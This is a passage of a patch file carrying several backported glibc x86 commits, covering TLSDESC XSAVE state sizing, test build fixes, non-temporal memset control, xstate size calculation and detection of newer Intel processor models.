+-		      /* Set xsave_state_full_size to the compact AMX
+-			 state size for XSAVEC.  NB: xsave_state_full_size
+-			 is only used in _dl_tlsdesc_dynamic_xsave and
+-			 _dl_tlsdesc_dynamic_xsavec.  */
+-		      cpu_features->xsave_state_full_size = amx_size;
++		      /* Set TLSDESC state size to the compact AMX
++			 state size for XSAVEC.  */
++		      _dl_x86_features_tlsdesc_state_size = amx_size;
+ #endif
+ 		      cpu_features->xsave_state_size
+ 			= ALIGN_UP (size + TLSDESC_CALL_REGISTER_SAVE_AREA,
+diff --git a/sysdeps/x86/cpu-tunables.c b/sysdeps/x86/cpu-tunables.c
+index ccc6b64dc2..a0b31d80f6 100644
+--- a/sysdeps/x86/cpu-tunables.c
++++ b/sysdeps/x86/cpu-tunables.c
+@@ -164,6 +164,8 @@ TUNABLE_CALLBACK (set_hwcaps) (tunable_val_t *valp)
+ 		  /* Update xsave_state_size to XSAVE state size.  */
+ 		  cpu_features->xsave_state_size
+ 		    = cpu_features->xsave_state_full_size;
++		  _dl_x86_features_tlsdesc_state_size
++		    = cpu_features->xsave_state_full_size;
+ 		  CPU_FEATURE_UNSET (cpu_features, XSAVEC);
+ 		}
+ 	    }
+diff --git a/sysdeps/x86/dl-diagnostics-cpu.c b/sysdeps/x86/dl-diagnostics-cpu.c
+index 49eeb5f70a..41100a908a 100644
+--- a/sysdeps/x86/dl-diagnostics-cpu.c
++++ b/sysdeps/x86/dl-diagnostics-cpu.c
+@@ -89,6 +89,8 @@ _dl_diagnostics_cpu (void)
+                             cpu_features->xsave_state_size);
+   print_cpu_features_value ("xsave_state_full_size",
+                             cpu_features->xsave_state_full_size);
++  print_cpu_features_value ("tlsdesc_state_full_size",
++                            _dl_x86_features_tlsdesc_state_size);
+   print_cpu_features_value ("data_cache_size", cpu_features->data_cache_size);
+   print_cpu_features_value ("shared_cache_size",
+                             cpu_features->shared_cache_size);
+diff --git a/sysdeps/x86/include/cpu-features.h b/sysdeps/x86/include/cpu-features.h
+index aaae44f0e1..03c71387dd 100644
+--- a/sysdeps/x86/include/cpu-features.h
++++ b/sysdeps/x86/include/cpu-features.h
+@@ -934,8 +934,6 @@ struct cpu_features
+   /* The full state size for XSAVE when XSAVEC is disabled by
+ 
+      GLIBC_TUNABLES=glibc.cpu.hwcaps=-XSAVEC
+-
+-     and the AMX state size when XSAVEC is available.
+    */
+   unsigned int xsave_state_full_size;
+   /* Data cache size for use in memory and string routines, typically
+@@ -989,6 +987,13 @@ extern const struct cpu_features *_dl_x86_get_cpu_features (void)
+ 
+ #define __get_cpu_features() _dl_x86_get_cpu_features()
+ 
++#if IS_IN (rtld) || IS_IN (libc)
++/* XSAVE/XSAVEC state size used by TLS descriptors.  Compared to
++   xsave_state_size from struct cpu_features, this includes additional
++   registers.  */
++extern unsigned long int _dl_x86_features_tlsdesc_state_size attribute_hidden;
++#endif
++
+ #if defined (_LIBC) && !IS_IN (nonlib)
+ /* Unused for x86.  */
+ # define INIT_ARCH()
+diff --git a/sysdeps/x86/tst-gnu2-tls2-x86-noxsave.c b/sysdeps/x86/tst-gnu2-tls2-x86-noxsave.c
+new file mode 100644
+index 0000000000..f0024c143d
+--- /dev/null
++++ b/sysdeps/x86/tst-gnu2-tls2-x86-noxsave.c
+@@ -0,0 +1 @@
++#include <elf/tst-gnu2-tls2.c>
+diff --git a/sysdeps/x86/tst-gnu2-tls2-x86-noxsavec.c b/sysdeps/x86/tst-gnu2-tls2-x86-noxsavec.c
+new file mode 100644
+index 0000000000..f0024c143d
+--- /dev/null
++++ b/sysdeps/x86/tst-gnu2-tls2-x86-noxsavec.c
+@@ -0,0 +1 @@
++#include <elf/tst-gnu2-tls2.c>
+diff --git a/sysdeps/x86/tst-gnu2-tls2-x86-noxsavexsavec.c b/sysdeps/x86/tst-gnu2-tls2-x86-noxsavexsavec.c
+new file mode 100644
+index 0000000000..f0024c143d
+--- /dev/null
++++ b/sysdeps/x86/tst-gnu2-tls2-x86-noxsavexsavec.c
+@@ -0,0 +1 @@
++#include <elf/tst-gnu2-tls2.c>
+diff --git a/sysdeps/x86_64/dl-tlsdesc-dynamic.h b/sysdeps/x86_64/dl-tlsdesc-dynamic.h
+index 9f02cfc3eb..44d948696f 100644
+--- a/sysdeps/x86_64/dl-tlsdesc-dynamic.h
++++ b/sysdeps/x86_64/dl-tlsdesc-dynamic.h
+@@ -99,7 +99,7 @@ _dl_tlsdesc_dynamic:
+ # endif
+ #else
+ 	/* Allocate stack space of the required size to save the state.  */
+-	sub	_rtld_local_ro+RTLD_GLOBAL_RO_DL_X86_CPU_FEATURES_OFFSET+XSAVE_STATE_FULL_SIZE_OFFSET(%rip), %RSP_LP
++	sub	_dl_x86_features_tlsdesc_state_size(%rip), %RSP_LP
+ #endif
+ 	/* Besides rdi and rsi, saved above, save rcx, rdx, r8, r9,
+ 	   r10 and r11.  */
+
+commit a87d9a2c2cc17a3b22fd3be8d106336f4dcf2042
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Mon Mar 31 21:33:18 2025 +0200
+
+    x86: Link tst-gnu2-tls2-x86-noxsave{,c,xsavec} with libpthread
+    
+    This fixes a test build failure on Hurd.
+    
+    Fixes commit 145097dff170507fe73190e8e41194f5b5f7e6bf ("x86: Use separate
+    variable for TLSDESC XSAVE/XSAVEC state size (bug 32810)").
+    
+    Reviewed-by: Adhemerval Zanella  <adhemerval.zanella@linaro.org>
+    (cherry picked from commit c6e2895695118ab59c7b17feb0fcb75a53e3478c)
+
+diff --git a/sysdeps/x86/Makefile b/sysdeps/x86/Makefile
+index 8819fba1b7..01b0192ddf 100644
+--- a/sysdeps/x86/Makefile
++++ b/sysdeps/x86/Makefile
+@@ -104,6 +104,9 @@ LDFLAGS-tst-gnu2-tls2-x86-noxsavexsavec += -Wl,-z,lazy
+ tst-gnu2-tls2-x86-noxsave-ENV = GLIBC_TUNABLES=glibc.cpu.hwcaps=-XSAVE
+ tst-gnu2-tls2-x86-noxsavec-ENV = GLIBC_TUNABLES=glibc.cpu.hwcaps=-XSAVEC
+ tst-gnu2-tls2-x86-noxsavexsavec-ENV = GLIBC_TUNABLES=glibc.cpu.hwcaps=-XSAVE,-XSAVEC
++$(objpfx)tst-gnu2-tls2-x86-noxsave: $(shared-thread-library)
++$(objpfx)tst-gnu2-tls2-x86-noxsavec: $(shared-thread-library)
++$(objpfx)tst-gnu2-tls2-x86-noxsavexsavec: $(shared-thread-library)
+ $(objpfx)tst-gnu2-tls2-x86-noxsave.out \
+ $(objpfx)tst-gnu2-tls2-x86-noxsavec.out \
+ $(objpfx)tst-gnu2-tls2-x86-noxsavexsavec.out: \
+
+commit 8fe27af20c8b25b84e12bcd52353862a95044aa2
+Author: Noah Goldstein <goldstein.w.n@gmail.com>
+Date:   Wed Aug 14 14:37:30 2024 +0800
+
+    x86: Use `Avoid_Non_Temporal_Memset` to control non-temporal path
+    
+    This is just a refactor and there should be no behavioral change from
+    this commit.
+    
+    The goal is to make `Avoid_Non_Temporal_Memset` a more universal knob
+    for controlling whether we use non-temporal memset rather than having
+    extra logic based on vendor.
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    
+    (cherry picked from commit b93dddfaf440aa12f45d7c356f6ffe9f27d35577)
+
+diff --git a/sysdeps/x86/cpu-features.c b/sysdeps/x86/cpu-features.c
+index ec27337337..8841020b36 100644
+--- a/sysdeps/x86/cpu-features.c
++++ b/sysdeps/x86/cpu-features.c
+@@ -758,6 +758,12 @@ init_cpu_features (struct cpu_features *cpu_features)
+   unsigned int stepping = 0;
+   enum cpu_features_kind kind;
+ 
++  /* Default is avoid non-temporal memset for non Intel/AMD hardware. This is,
++     as of writing this, we only have benchmarks indicatings it profitability
++     on Intel/AMD.  */
++  cpu_features->preferred[index_arch_Avoid_Non_Temporal_Memset]
++      |= bit_arch_Avoid_Non_Temporal_Memset;
++
+   cpu_features->cachesize_non_temporal_divisor = 4;
+ #if !HAS_CPUID
+   if (__get_cpuid_max (0, 0) == 0)
+@@ -783,6 +789,11 @@ init_cpu_features (struct cpu_features *cpu_features)
+ 
+       update_active (cpu_features);
+ 
++      /* Benchmarks indicate non-temporal memset can be profitable on Intel
++	hardware.  */
++      cpu_features->preferred[index_arch_Avoid_Non_Temporal_Memset]
++	  &= ~bit_arch_Avoid_Non_Temporal_Memset;
++
+       if (family == 0x06)
+ 	{
+ 	  model += extended_model;
+@@ -993,6 +1004,11 @@ https://www.intel.com/content/www/us/en/support/articles/000059422/processors.ht
+ 
+       ecx = cpu_features->features[CPUID_INDEX_1].cpuid.ecx;
+ 
++      /* Benchmarks indicate non-temporal memset can be profitable on AMD
++	hardware.  */
++      cpu_features->preferred[index_arch_Avoid_Non_Temporal_Memset]
++	  &= ~bit_arch_Avoid_Non_Temporal_Memset;
++
+       if (CPU_FEATURE_USABLE_P (cpu_features, AVX))
+ 	{
+ 	  /* Since the FMA4 bit is in CPUID_INDEX_80000001 and
+diff --git a/sysdeps/x86/dl-cacheinfo.h b/sysdeps/x86/dl-cacheinfo.h
+index ac97414b5b..7b1b61c096 100644
+--- a/sysdeps/x86/dl-cacheinfo.h
++++ b/sysdeps/x86/dl-cacheinfo.h
+@@ -988,14 +988,6 @@ dl_init_cacheinfo (struct cpu_features *cpu_features)
+   if (CPU_FEATURE_USABLE_P (cpu_features, FSRM))
+     rep_movsb_threshold = 2112;
+ 
+-  /* Non-temporal stores are more performant on Intel and AMD hardware above
+-     non_temporal_threshold. Enable this for both Intel and AMD hardware. */
+-  unsigned long int memset_non_temporal_threshold = SIZE_MAX;
+-  if (!CPU_FEATURES_ARCH_P (cpu_features, Avoid_Non_Temporal_Memset)
+-      && (cpu_features->basic.kind == arch_kind_intel
+-	  || cpu_features->basic.kind == arch_kind_amd))
+-    memset_non_temporal_threshold = non_temporal_threshold;
+-
+   /* For AMD CPUs that support ERMS (Zen3+), REP MOVSB is in a lot of
+      cases slower than the vectorized path (and for some alignments,
+      it is really slow, check BZ #30994).  */
+@@ -1017,6 +1009,13 @@ dl_init_cacheinfo (struct cpu_features *cpu_features)
+   if (tunable_size != 0)
+     shared = tunable_size;
+ 
++  /* Non-temporal stores are more performant on some hardware above
++     non_temporal_threshold. Currently Prefer_Non_Temporal is set for for both
++     Intel and AMD hardware. */
++  unsigned long int memset_non_temporal_threshold = SIZE_MAX;
++  if (!CPU_FEATURES_ARCH_P (cpu_features, Avoid_Non_Temporal_Memset))
++    memset_non_temporal_threshold = non_temporal_threshold;
++
+   tunable_size = TUNABLE_GET (x86_non_temporal_threshold, long int, NULL);
+   if (tunable_size > minimum_non_temporal_threshold
+       && tunable_size <= maximum_non_temporal_threshold)
+
+commit 7c6bd71b4dbdadab34e4fd21ec09b86b32daf443
+Author: Sunil K Pandey <skpgkp2@gmail.com>
+Date:   Thu Apr 3 13:00:45 2025 -0700
+
+    x86: Optimize xstate size calculation
+    
+    Scan xstate IDs up to the maximum supported xstate ID.  Remove the
+    separate AMX xstate calculation.  Instead, exclude the AMX space from
+    the start of TILECFG to the end of TILEDATA in xsave_state_size.
+    
+    Completed validation on SKL/SKX/SPR/SDE and compared xsave state size
+    with "ld.so --list-diagnostics" option, no regression.
+    
+    Co-Authored-By: H.J. Lu <hjl.tools@gmail.com>
+    Reviewed-by: Sunil K Pandey <skpgkp2@gmail.com>
+    (cherry picked from commit 70b648855185e967e54668b101d24704c3fb869d)
+
+diff --git a/sysdeps/x86/cpu-features.c b/sysdeps/x86/cpu-features.c
+index 8841020b36..1d5e2a0072 100644
+--- a/sysdeps/x86/cpu-features.c
++++ b/sysdeps/x86/cpu-features.c
+@@ -325,13 +325,8 @@ update_active (struct cpu_features *cpu_features)
+ 	      /* Check if XSAVEC is available.  */
+ 	      if (CPU_FEATURES_CPU_P (cpu_features, XSAVEC))
+ 		{
+-		  unsigned int xstate_comp_offsets[32];
+-		  unsigned int xstate_comp_sizes[32];
+-#ifdef __x86_64__
+-		  unsigned int xstate_amx_comp_offsets[32];
+-		  unsigned int xstate_amx_comp_sizes[32];
+-		  unsigned int amx_ecx;
+-#endif
++		  unsigned int xstate_comp_offsets[X86_XSTATE_MAX_ID + 1];
++		  unsigned int xstate_comp_sizes[X86_XSTATE_MAX_ID + 1];
+ 		  unsigned int i;
+ 
+ 		  xstate_comp_offsets[0] = 0;
+@@ -339,39 +334,16 @@ update_active (struct cpu_features *cpu_features)
+ 		  xstate_comp_offsets[2] = 576;
+ 		  xstate_comp_sizes[0] = 160;
+ 		  xstate_comp_sizes[1] = 256;
+-#ifdef __x86_64__
+-		  xstate_amx_comp_offsets[0] = 0;
+-		  xstate_amx_comp_offsets[1] = 160;
+-		  xstate_amx_comp_offsets[2] = 576;
+-		  xstate_amx_comp_sizes[0] = 160;
+-		  xstate_amx_comp_sizes[1] = 256;
+-#endif
+ 
+-		  for (i = 2; i < 32; i++)
++		  for (i = 2; i <= X86_XSTATE_MAX_ID; i++)
+ 		    {
+ 		      if ((FULL_STATE_SAVE_MASK & (1 << i)) != 0)
+ 			{
+ 			  __cpuid_count (0xd, i, eax, ebx, ecx, edx);
+-#ifdef __x86_64__
+-			  /* Include this in xsave_state_full_size.  */
+-			  amx_ecx = ecx;
+-			  xstate_amx_comp_sizes[i] = eax;
+-			  if ((AMX_STATE_SAVE_MASK & (1 << i)) != 0)
+-			    {
+-			      /* Exclude this from xsave_state_size.  */
+-			      ecx = 0;
+-			      xstate_comp_sizes[i] = 0;
+-			    }
+-			  else
+-#endif
+-			    xstate_comp_sizes[i] = eax;
++			  xstate_comp_sizes[i] = eax;
+ 			}
+ 		      else
+ 			{
+-#ifdef __x86_64__
+-			  amx_ecx = 0;
+-			  xstate_amx_comp_sizes[i] = 0;
+-#endif
+ 			  ecx = 0;
+ 			  xstate_comp_sizes[i] = 0;
+ 			}
+@@ -380,42 +352,32 @@ update_active (struct cpu_features *cpu_features)
+ 			{
+ 			  xstate_comp_offsets[i]
+ 			    = (xstate_comp_offsets[i - 1]
+-			       + xstate_comp_sizes[i -1]);
++			       + xstate_comp_sizes[i - 1]);
+ 			  if ((ecx & (1 << 1)) != 0)
+ 			    xstate_comp_offsets[i]
+ 			      = ALIGN_UP (xstate_comp_offsets[i], 64);
+-#ifdef __x86_64__
+-			  xstate_amx_comp_offsets[i]
+-			    = (xstate_amx_comp_offsets[i - 1]
+-			       + xstate_amx_comp_sizes[i - 1]);
+-			  if ((amx_ecx & (1 << 1)) != 0)
+-			    xstate_amx_comp_offsets[i]
+-			      = ALIGN_UP (xstate_amx_comp_offsets[i],
+-					  64);
+-#endif
+ 			}
+ 		    }
+ 
+ 		  /* Use XSAVEC.  */
+ 		  unsigned int size
+-		    = xstate_comp_offsets[31] + xstate_comp_sizes[31];
++		    = (xstate_comp_offsets[X86_XSTATE_MAX_ID]
++		       + xstate_comp_sizes[X86_XSTATE_MAX_ID]);
+ 		  if (size)
+ 		    {
++		      size = ALIGN_UP (size + TLSDESC_CALL_REGISTER_SAVE_AREA,
++				       64);
+ #ifdef __x86_64__
+-		      unsigned int amx_size
+-			= (xstate_amx_comp_offsets[31]
+-			   + xstate_amx_comp_sizes[31]);
+-		      amx_size
+-			= ALIGN_UP ((amx_size
+-				     + TLSDESC_CALL_REGISTER_SAVE_AREA),
+-				    64);
+-		      /* Set TLSDESC state size to the compact AMX
+-			 state size for XSAVEC.  */
+-		      _dl_x86_features_tlsdesc_state_size = amx_size;
++		      _dl_x86_features_tlsdesc_state_size = size;
++		      /* Exclude the AMX space from the start of TILECFG
++			 space to the end of TILEDATA space.  If CPU
++			 doesn't support AMX, TILECFG offset is the same
++			 as TILEDATA + 1 offset.  Otherwise, they are
++			 multiples of 64.  */
++		      size -= (xstate_comp_offsets[X86_XSTATE_TILEDATA_ID + 1]
++			       - xstate_comp_offsets[X86_XSTATE_TILECFG_ID]);
+ #endif
+-		      cpu_features->xsave_state_size
+-			= ALIGN_UP (size + TLSDESC_CALL_REGISTER_SAVE_AREA,
+-				    64);
++		      cpu_features->xsave_state_size = size;
+ 		      CPU_FEATURE_SET (cpu_features, XSAVEC);
+ 		    }
+ 		}
+diff --git a/sysdeps/x86/sysdep.h b/sysdeps/x86/sysdep.h
+index 7359149e17..1d6cabd816 100644
+--- a/sysdeps/x86/sysdep.h
++++ b/sysdeps/x86/sysdep.h
+@@ -102,6 +102,9 @@
+    | (1 << X86_XSTATE_ZMM_ID)		\
+    | (1 << X86_XSTATE_APX_F_ID))
+ 
++/* The maximum supported xstate ID.  */
++# define X86_XSTATE_MAX_ID	X86_XSTATE_APX_F_ID
++
+ /* AMX state mask.  */
+ # define AMX_STATE_SAVE_MASK		\
+   ((1 << X86_XSTATE_TILECFG_ID) | (1 << X86_XSTATE_TILEDATA_ID))
+@@ -123,6 +126,9 @@
+    | (1 << X86_XSTATE_K_ID)		\
+    | (1 << X86_XSTATE_ZMM_H_ID))
+ 
++/* The maximum supported xstate ID.  */
++# define X86_XSTATE_MAX_ID	X86_XSTATE_ZMM_H_ID
++
+ /* States to be included in xsave_state_size.  */
+ # define FULL_STATE_SAVE_MASK		STATE_SAVE_MASK
+ #endif
+
+commit 44f92df8007d57f82b1518e219a0dbb60389ef2c
+Author: Sunil K Pandey <skpgkp2@gmail.com>
+Date:   Thu Apr 3 18:14:20 2025 -0700
+
+    x86: Add ARL/PTL/CWF model detection support
+    
+    - Add ARROWLAKE model detection.
+    - Add PANTHERLAKE model detection.
+    - Add CLEARWATERFOREST model detection.
+    
+    Intel® Architecture Instruction Set Extensions Programming Reference
+    https://cdrdv2.intel.com/v1/dl/getContent/671368 Section 1.2.
+    
+    No regression, validated model detection on SDE.
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit e53eb952b970ac94c97d74fb447418fb327ca096)
+
+diff --git a/sysdeps/x86/cpu-features.c b/sysdeps/x86/cpu-features.c
+index 1d5e2a0072..7f21a8227e 100644
+--- a/sysdeps/x86/cpu-features.c
++++ b/sysdeps/x86/cpu-features.c
+@@ -512,6 +512,7 @@ enum
+   INTEL_ATOM_GOLDMONT,
+   INTEL_ATOM_GOLDMONT_PLUS,
+   INTEL_ATOM_SIERRAFOREST,
++  INTEL_ATOM_CLEARWATERFOREST,
+   INTEL_ATOM_GRANDRIDGE,
+   INTEL_ATOM_TREMONT,
+ 
+@@ -539,6 +540,7 @@ enum
+   INTEL_BIGCORE_METEORLAKE,
+   INTEL_BIGCORE_LUNARLAKE,
+   INTEL_BIGCORE_ARROWLAKE,
++  INTEL_BIGCORE_PANTHERLAKE,
+   INTEL_BIGCORE_GRANITERAPIDS,
+ 
+   /* Mixed (bigcore + atom SOC).  */
+@@ -584,6 +586,8 @@ intel_get_fam6_microarch (unsigned int model,
+       return INTEL_ATOM_GOLDMONT_PLUS;
+     case 0xAF:
+       return INTEL_ATOM_SIERRAFOREST;
++    case 0xDD:
++      return INTEL_ATOM_CLEARWATERFOREST;
+     case 0xB6:
+       return INTEL_ATOM_GRANDRIDGE;
+     case 0x86:
+@@ -691,8 +695,12 @@ intel_get_fam6_microarch (unsigned int model,
+       return INTEL_BIGCORE_METEORLAKE;
+     case 0xbd:
+       return INTEL_BIGCORE_LUNARLAKE;
++    case 0xb5:
++    case 0xc5:
+     case 0xc6:
+       return INTEL_BIGCORE_ARROWLAKE;
++    case 0xCC:
++      return INTEL_BIGCORE_PANTHERLAKE;
+     case 0xAD:
+     case 0xAE:
+       return INTEL_BIGCORE_GRANITERAPIDS;
+@@ -808,6 +816,7 @@ init_cpu_features (struct cpu_features *cpu_features)
+ 	    Default tuned atom microarch.
+ 	    case INTEL_ATOM_SIERRAFOREST:
+ 	    case INTEL_ATOM_GRANDRIDGE:
++	    case INTEL_ATOM_CLEARWATERFOREST:
+ 	   */
+ 
+ 	      /* Bigcore/Default Tuning.  */
+@@ -864,6 +873,7 @@ init_cpu_features (struct cpu_features *cpu_features)
+ 	    case INTEL_BIGCORE_METEORLAKE:
+ 	    case INTEL_BIGCORE_LUNARLAKE:
+ 	    case INTEL_BIGCORE_ARROWLAKE:
++	    case INTEL_BIGCORE_PANTHERLAKE:
+ 	    case INTEL_BIGCORE_SAPPHIRERAPIDS:
+ 	    case INTEL_BIGCORE_EMERALDRAPIDS:
+ 	    case INTEL_BIGCORE_GRANITERAPIDS:
+
+commit 9ee8083c4edbe5e92af7aabb23261309f03ef05c
+Author: Sunil K Pandey <sunil.k.pandey@intel.com>
+Date:   Fri Apr 11 08:52:52 2025 -0700
+
+    x86: Handle unknown Intel processor with default tuning
+    
+    Enable default tuning for unknown Intel processor.
+    
+    Tested on x86, no regression.
+    
+    Co-Authored-By: H.J. Lu <hjl.tools@gmail.com>
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit 9f0deff558d1d6b08c425c157f50de85013ada9c)
+
+diff --git a/sysdeps/x86/cpu-features.c b/sysdeps/x86/cpu-features.c
+index 7f21a8227e..1a6e694abf 100644
+--- a/sysdeps/x86/cpu-features.c
++++ b/sysdeps/x86/cpu-features.c
+@@ -502,8 +502,8 @@ _Static_assert (((index_arch_Fast_Unaligned_Load
+ 		"Incorrect index_arch_Fast_Unaligned_Load");
+ 
+ 
+-/* Intel Family-6 microarch list.  */
+-enum
++/* Intel microarch list.  */
++enum intel_microarch
+ {
+   /* Atom processors.  */
+   INTEL_ATOM_BONNELL,
+@@ -555,7 +555,7 @@ enum
+   INTEL_UNKNOWN,
+ };
+ 
+-static unsigned int
++static enum intel_microarch
+ intel_get_fam6_microarch (unsigned int model,
+ 			  __attribute__ ((unused)) unsigned int stepping)
+ {
+@@ -764,134 +764,20 @@ init_cpu_features (struct cpu_features *cpu_features)
+       cpu_features->preferred[index_arch_Avoid_Non_Temporal_Memset]
+ 	  &= ~bit_arch_Avoid_Non_Temporal_Memset;
+ 
++      enum intel_microarch microarch = INTEL_UNKNOWN;
+       if (family == 0x06)
+ 	{
+ 	  model += extended_model;
+-	  unsigned int microarch
+-	      = intel_get_fam6_microarch (model, stepping);
++	  microarch = intel_get_fam6_microarch (model, stepping);
+ 
++	  /* Disable TSX on some processors to avoid TSX on kernels that
++	     weren't updated with the latest microcode package (which
++	     disables broken feature by default).  */
+ 	  switch (microarch)
+ 	    {
+-	      /* Atom / KNL tuning.  */
+-	    case INTEL_ATOM_BONNELL:
+-	      /* BSF is slow on Bonnell.  */
+-	      cpu_features->preferred[index_arch_Slow_BSF]
+-		  |= bit_arch_Slow_BSF;
+-	      break;
+-
+-	      /* Unaligned load versions are faster than SSSE3
+-		     on Airmont, Silvermont, Goldmont, and Goldmont Plus.  */
+-	    case INTEL_ATOM_AIRMONT:
+-	    case INTEL_ATOM_SILVERMONT:
+-	    case INTEL_ATOM_GOLDMONT:
+-	    case INTEL_ATOM_GOLDMONT_PLUS:
+-
+-          /* Knights Landing.  Enable Silvermont optimizations.  */
+-	    case INTEL_KNIGHTS_LANDING:
+-
+-	      cpu_features->preferred[index_arch_Fast_Unaligned_Load]
+-		  |= (bit_arch_Fast_Unaligned_Load
+-		      | bit_arch_Fast_Unaligned_Copy
+-		      | bit_arch_Prefer_PMINUB_for_stringop
+-		      | bit_arch_Slow_SSE4_2);
+-	      break;
+-
+-	    case INTEL_ATOM_TREMONT:
+-	      /* Enable rep string instructions, unaligned load, unaligned
+-		 copy, pminub and avoid SSE 4.2 on Tremont.  */
+-	      cpu_features->preferred[index_arch_Fast_Rep_String]
+-		  |= (bit_arch_Fast_Rep_String
+-		      | bit_arch_Fast_Unaligned_Load
+-		      | bit_arch_Fast_Unaligned_Copy
+-		      | bit_arch_Prefer_PMINUB_for_stringop
+-		      | bit_arch_Slow_SSE4_2);
+-	      break;
+-
+-	   /*
+-	    Default tuned Knights microarch.
+-	    case INTEL_KNIGHTS_MILL:
+-        */
+-
+-	   /*
+-	    Default tuned atom microarch.
+-	    case INTEL_ATOM_SIERRAFOREST:
+-	    case INTEL_ATOM_GRANDRIDGE:
+-	    case INTEL_ATOM_CLEARWATERFOREST:
+-	   */
+-
+-	      /* Bigcore/Default Tuning.  */
+ 	    default:
+-	    default_tuning:
+-	      /* Unknown family 0x06 processors.  Assuming this is one
+-		 of Core i3/i5/i7 processors if AVX is available.  */
+-	      if (!CPU_FEATURES_CPU_P (cpu_features, AVX))
+-		break;
+-
+-	    enable_modern_features:
+-	      /* Rep string instructions, unaligned load, unaligned copy,
+-		 and pminub are fast on Intel Core i3, i5 and i7.  */
+-	      cpu_features->preferred[index_arch_Fast_Rep_String]
+-		  |= (bit_arch_Fast_Rep_String
+-		      | bit_arch_Fast_Unaligned_Load
+-		      | bit_arch_Fast_Unaligned_Copy
+-		      | bit_arch_Prefer_PMINUB_for_stringop);
+ 	      break;
+ 
+-	    case INTEL_BIGCORE_NEHALEM:
+-	    case INTEL_BIGCORE_WESTMERE:
+-	      /* Older CPUs prefer non-temporal stores at lower threshold.  */
+-	      cpu_features->cachesize_non_temporal_divisor = 8;
+-	      goto enable_modern_features;
+-
+-	      /* Older Bigcore microarch (smaller non-temporal store
+-		 threshold).  */
+-	    case INTEL_BIGCORE_SANDYBRIDGE:
+-	    case INTEL_BIGCORE_IVYBRIDGE:
+-	    case INTEL_BIGCORE_HASWELL:
+-	    case INTEL_BIGCORE_BROADWELL:
+-	      cpu_features->cachesize_non_temporal_divisor = 8;
+-	      goto default_tuning;
+-
+-	      /* Newer Bigcore microarch (larger non-temporal store
+-		 threshold).  */
+-	    case INTEL_BIGCORE_SKYLAKE_AVX512:
+-	    case INTEL_BIGCORE_CANNONLAKE:
+-	      /* Benchmarks indicate non-temporal memset is not
+-		     necessarily profitable on SKX (and in some cases much
+-		     worse). This is likely unique to SKX due its it unique
+-		     mesh interconnect (not present on ICX or BWD). Disable
+-		     non-temporal on all Skylake servers. */
+-	      cpu_features->preferred[index_arch_Avoid_Non_Temporal_Memset]
+-		  |= bit_arch_Avoid_Non_Temporal_Memset;
+-	    case INTEL_BIGCORE_COMETLAKE:
+-	    case INTEL_BIGCORE_SKYLAKE:
+-	    case INTEL_BIGCORE_KABYLAKE:
+-	    case INTEL_BIGCORE_ICELAKE:
+-	    case INTEL_BIGCORE_TIGERLAKE:
+-	    case INTEL_BIGCORE_ROCKETLAKE:
+-	    case INTEL_BIGCORE_RAPTORLAKE:
+-	    case INTEL_BIGCORE_METEORLAKE:
+-	    case INTEL_BIGCORE_LUNARLAKE:
+-	    case INTEL_BIGCORE_ARROWLAKE:
+-	    case INTEL_BIGCORE_PANTHERLAKE:
+-	    case INTEL_BIGCORE_SAPPHIRERAPIDS:
+-	    case INTEL_BIGCORE_EMERALDRAPIDS:
+-	    case INTEL_BIGCORE_GRANITERAPIDS:
+-	      cpu_features->cachesize_non_temporal_divisor = 2;
+-	      goto default_tuning;
+-
+-	      /* Default tuned Mixed (bigcore + atom SOC). */
+-	    case INTEL_MIXED_LAKEFIELD:
+-	    case INTEL_MIXED_ALDERLAKE:
+-	      cpu_features->cachesize_non_temporal_divisor = 2;
+-	      goto default_tuning;
+-	    }
+-
+-	      /* Disable TSX on some processors to avoid TSX on kernels that
+-		 weren't updated with the latest microcode package (which
+-		 disables broken feature by default).  */
+-	  switch (microarch)
+-	    {
+ 	    case INTEL_BIGCORE_SKYLAKE_AVX512:
+ 	      /* 0x55 (Skylake-avx512) && stepping <= 5 disable TSX. */
+ 	      if (stepping <= 5)
+@@ -900,38 +786,152 @@ init_cpu_features (struct cpu_features *cpu_features)
+ 
+ 	    case INTEL_BIGCORE_KABYLAKE:
+ 	      /* NB: Although the errata documents that for model == 0x8e
+-		     (kabylake skylake client), only 0xb stepping or lower are
+-		     impacted, the intention of the errata was to disable TSX on
+-		     all client processors on all steppings.  Include 0xc
+-		     stepping which is an Intel Core i7-8665U, a client mobile
+-		     processor.  */
++		 (kabylake skylake client), only 0xb stepping or lower are
++		 impacted, the intention of the errata was to disable TSX on
++		 all client processors on all steppings.  Include 0xc
++		 stepping which is an Intel Core i7-8665U, a client mobile
++		 processor.  */
+ 	      if (stepping > 0xc)
+ 		break;
+ 	      /* Fall through.  */
+ 	    case INTEL_BIGCORE_SKYLAKE:
+-		/* Disable Intel TSX and enable RTM_ALWAYS_ABORT for
+-		   processors listed in:
+-
+-https://www.intel.com/content/www/us/en/support/articles/000059422/processors.html
+-		 */
+-	    disable_tsx:
+-		CPU_FEATURE_UNSET (cpu_features, HLE);
+-		CPU_FEATURE_UNSET (cpu_features, RTM);
+-		CPU_FEATURE_SET (cpu_features, RTM_ALWAYS_ABORT);
+-		break;
++	      /* Disable Intel TSX and enable RTM_ALWAYS_ABORT for
++		 processors listed in:
++
++		 https://www.intel.com/content/www/us/en/support/articles/000059422/processors.html
++	       */
++disable_tsx:
++	      CPU_FEATURE_UNSET (cpu_features, HLE);
++	      CPU_FEATURE_UNSET (cpu_features, RTM);
++	      CPU_FEATURE_SET (cpu_features, RTM_ALWAYS_ABORT);
++	      break;
+ 
+ 	    case INTEL_BIGCORE_HASWELL:
+-		/* Xeon E7 v3 (model == 0x3f) with stepping >= 4 has working
+-		   TSX.  Haswell also include other model numbers that have
+-		   working TSX.  */
+-		if (model == 0x3f && stepping >= 4)
++	      /* Xeon E7 v3 (model == 0x3f) with stepping >= 4 has working
++		 TSX.  Haswell also includes other model numbers that have
++		 working TSX.  */
++	      if (model == 0x3f && stepping >= 4)
+ 		break;
+ 
+-		CPU_FEATURE_UNSET (cpu_features, RTM);
+-		break;
++	      CPU_FEATURE_UNSET (cpu_features, RTM);
++	      break;
+ 	    }
+ 	}
+ 
++      switch (microarch)
++	{
++	  /* Atom / KNL tuning.  */
++	case INTEL_ATOM_BONNELL:
++	  /* BSF is slow on Bonnell.  */
++	  cpu_features->preferred[index_arch_Slow_BSF]
++	    |= bit_arch_Slow_BSF;
++	  break;
++
